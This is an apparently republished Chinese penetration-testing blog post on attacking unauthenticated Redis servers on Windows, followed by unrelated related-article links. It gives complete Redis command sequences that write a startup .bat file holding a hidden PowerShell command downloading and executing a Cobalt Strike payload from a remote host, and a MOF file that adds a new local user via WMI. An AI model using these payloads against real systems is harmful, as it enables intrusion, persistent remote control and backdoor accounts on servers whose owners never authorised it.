Redis奇怪的姿势
Redis奇怪的姿势
写在前面
之前渗透 摸鱼 时和小伙伴发现了一个redis,存在未授权,是win服务器但是没有路径,度娘了之后发现了这个姿势,特此学习记录一下。
写入启动项
环境搭建
windows 07
redis 2.X
VPS + CS teamserver
kali CSclient
win7 启动redis
redis-server redis.conf
启动CS teamserver
nohup ./teamserver ip password
漏洞复现
step0
目前已知
windows服务器 + redis未授权 + 无web路径
因此写入启动项直接cs上线
tips:
windows开机启动目录一般为
`C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/`
由于Start Menu有空格,需要双引号将路径包含。
目标
cs上线这台运行redis的win7机器
step1
添加一个Listener监听器
选择 攻击-->钓鱼攻击-->Scripted Web Delivery(S),选择刚才添加的Listener
点击 开始 生成powershell的shellcode
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://ip:88/a'))"
将shellcode复制出来备用
step2
后面过程类似于向目标机器中利用redis写webshell
这里有几个小坑点,一个是注意服务器的管理员名称,比如我的就是admin,其次是设置x的value时,因为redis的语法 使用 set key "value"
时需要双引号包裹value的值,而如果value内的payload也需要双引号时需要在value内的双引号前加反斜杠 \
转义双引号。
192.168.124.158:6379> config set dir "C:\\Users\\admin\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\PrograOK\\startup\\"
192.168.124.158:6379> config set dbfilename test.bat
OK
192.168.124.158:6379> set x "\r\n\r\n powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://ip:88/a'))\"\r\n\r\n"
OK
192.168.124.158:6379> save
OK
192.168.124.158:6379>
可以看到目标机器成功写入
后续只需重启机器,此目标服务器就上线了。
总结
虽然需要重启算是比较鸡肋的一个点,但是在不知道路径的情况下提供了一个新的思路。
需要的前提条件有:
redis未授权/弱口令
windows服务器(参考文章为win2003,我自己用的win7都可上线)
有启动项目录相应写入权限
重启服务器(可结合简单钓鱼等)
写入MOF
也是根据作者的文章,在无法重启时该怎么办。作者提供了一个思路,写入mof中,因为mof会每隔5s去监控进程的创建和死亡,功能已经类似于计划任务。在mof中有一段是vbs脚本,可以利用此脚本去添加管理员用户。
MOF目录,此目录下的mof文件每隔5s执行一次
c:/windows/system32/wbem/mof/
step0
准备MOF文件内容
#pragma namespace("\\.\root\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa "Win32_LocalTime" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject("WScript.Shell")nWSH.run("net.exe user 3shine admin /add")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
step1
先执行如下命令
(echo -e "\n\n"; cat mof.txt; echo -e "\n\n") > foo.txt
redis命令行执行
config set dir "c:\\windows\\system32\\wbem\\mof"
config set dbfilename 123.mof
get x //确认下是否将mof文件内容写入
save
之后就可以看到添加了一个新的3shine用户。
参考文章
https://www.anquanke.com/post/id/170360
Redis奇怪的姿势的更多相关文章
- BZOJ-1968 COMMON 约数研究 数论+奇怪的姿势
1968: [Ahoi2005]COMMON 约数研究 Time Limit: 1 Sec Memory Limit: 64 MB Submit: 1513 Solved: 1154 [Submit] ...
- COGS 2479 奇怪的姿势卡♂过去 (bitset+折半)
思路: 此题显然是CDQ套CDQ套树套树 (然而我懒) 想用一种奇怪的姿势卡过去 就出现了以下解法 5w*5w/8的bitset hiahiahia 但是空间会爆怎么办啊- 折半~ 变成5w*2.5w ...
- centos7安装redis的正确姿势
目前redis5已经发布,Redis 5 是 Redis 引入流数据类型(Stream data type)的第一个版本.按照官方的说法,不使用该特性的用户在生产环境中使用 Redis 5 会有更好的 ...
- windows安装redis的正确姿势
安装: 1,redis官方下载地址:https://redis.io/download,redis 64位下载地址:https://github.com/ServiceStack/redis-wind ...
- Spring Boot (五): Redis缓存使用姿势盘点
1. Redis 简介 Redis 是目前业界使用最广泛的内存数据存储.相比 Memcached,Redis 支持更丰富的数据结构,例如 hashes, lists, sets 等,同时支持数据持久化 ...
- Prometheus 监控 Redis 集群的正确姿势
Prometheus 监控Redis的正确姿势(redis集群) Prometheus 监控 Redis cluster,其实套路都是一样的,使用 exporter. exporter 负责采集指标, ...
- 善待Redis里的数据--Unable to validate object
又是一篇关于姿势的文章,为什么是”又”呢?因为上个星期刚写完一篇关于Apache Commons Pool的正确使用姿势的文章,点击此处阅读. Redis为我们提供便利的同时,我们也要善待里面的数据 ...
- 转载:善待Redis中的数据
Redis是我们数据的保管者,我们可以随时存随时取,大的小的,重要的不重要的,它都毫无怨言的帮我们保存着,甚至有些时候,我们变得很懒,存东西进去的时候顺便还贴张纸:"过了一个星期就帮我扔了吧 ...
- [转]Node.js中koa使用redis数据库
本文转自:https://blog.csdn.net/offbye/article/details/52452322 Redis是一个常用的Nosql数据库,一般用来代替Memcached做缓存服务, ...
随机推荐
- [心得]redis集群环境搭建的错误
安装redis集群需要版本号在3.0以上 redis-cluster安装前需要安装ruby环境 搭建集群需要使用到官方提供的ruby脚本. 需要安装ruby的环境. yum -y install ru ...
- 了解Javascript中函数作为对象的魅力
前言 Javascript赋予了函数非常多的特性,其中最重要的特性之一就是将函数作为第一型的对象.那就意味着在javascript中函数可以有属性,可以有方法, 可以享有所有对象所拥有的特性.并且最重 ...
- 扩大UIPageViewController的点击范围
UIPageViewController中的边缘点击手势大概是屏幕的1/6,市面的大多数阅读器点击手势都在1/3以上,或者我干脆想自定义点击的范围,但又不想放弃系统的翻页效果,这时候该怎么做了?其实很 ...
- Linux | 命令的参数
命令的参数 格式:command parameters --> 命令参数 短参数 在短参数中,字母的大写效果是不同的,比如大写 T 和小写 t 的含义通常是不同的. 一个短参数 最常用的参数形式 ...
- kong配置upstream实现简单的负载均衡
目录 通过konga实现 1. 配置upstream 2. 配置Service发布 3. 配置Route,匹配规则 4. 验证结果 通过 Kong Admin API实现 1. 配置upstream ...
- NOIP模拟赛T3 斐波那契
1.题目 求 \[\sum_{i=1}^n \sum_{j=1}^m \gcd(F_i,F_j) \] 其中 \(F_k\) 表示斐波那契数列的第 \(k\) 项,对 \(10^9 + 7\) 取模. ...
- TestNG基础001
一.什么是TestNG TestNG是一个强大的测试框架,NG是指Next Generation ,被视为是Junit的升级版本 二.TestNG适用范围 Java单元测试 接口测试 web自动化测试 ...
- C编译器
GCC:GNU Compiler Collection,即 GNU 编译器套件.TDM-GCC 4.8.1 32-BIT Release: 查看GCC的版本:C:\Program Files\Dev- ...
- C# BS方向 该如何规划学习?【学习路线指南】
C#学习路线指南 花费了几天时间整理了C#学习路线图,可以说是纯野生C#程序员成长路线规划,在这里分享下,希望可以帮助到想从事C#开发的同学们.本人阅历尚浅,有些知识点可能分享不正确,希望广大网友评论 ...
- SpringBoot: 后台接口文档 - 基于Swagger3
目录 前言:什么是Swagger 起步:(只需简单的3步) 加载依赖 添加注解@EnableOpenApi 启动SpringBoot,访问Swagger后台界面 配置:基于Java的配置 注解:Swa ...